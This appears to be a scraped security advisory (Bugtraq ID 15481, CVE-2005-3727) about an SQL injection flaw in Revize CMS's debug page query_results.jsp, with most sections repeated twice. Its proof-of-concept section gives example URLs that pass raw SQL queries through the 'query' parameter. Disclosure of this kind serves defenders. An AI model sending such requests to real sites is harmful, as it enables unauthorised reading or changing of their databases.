Revize CMS Query_results.JSP SQL Injection Vulnerability
BID:15481
Info
Revize CMS Query_results.JSP SQL Injection Vulnerability
| Bugtraq ID: | 15481 |
| Class: | Input Validation Error |
| CVE: |
CVE-2005-3727 |
| Remote: | Yes |
| Local: | No |
| Published: | Nov 17 2005 12:00AM |
| Updated: | Jul 12 2009 05:56PM |
| Credit: | Lostmon is credited with the discovery of this vulnerability. |
| Vulnerable: |
Revize CMS Revize CMS |
| Not Vulnerable: | |
Discussion
Revize CMS Query_results.JSP SQL Injection Vulnerability
Revize CMS is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.
Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.
Other scripts may also be vulnerable.
Revize CMS is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.
Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.
Other scripts may also be vulnerable.
Exploit / POC
Revize CMS Query_results.JSP SQL Injection Vulnerability
No exploit is required.
Example URI have been provided:
http://www.example.com/revize/debug/query_results.jsp?webspace=REVIZE&query=select%20*%20from%20pbpublic.rSubjects
http://www.example.com/revize/debug/query_results.jsp?query=select%20*%20from%20pbpublic.rSubjects
No exploit is required.
Example URI have been provided:
http://www.example.com/revize/debug/query_results.jsp?webspace=REVIZE&query=select%20*%20from%20pbpublic.rSubjects
http://www.example.com/revize/debug/query_results.jsp?query=select%20*%20from%20pbpublic.rSubjects
Solution / Fix
Revize CMS Query_results.JSP SQL Injection Vulnerability
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
References
Revize CMS Query_results.JSP SQL Injection Vulnerability
References:
References:
- Revize Web Page (Revize)
- Revize(r) CMS SQL information disclosure and XSS (Lostmon)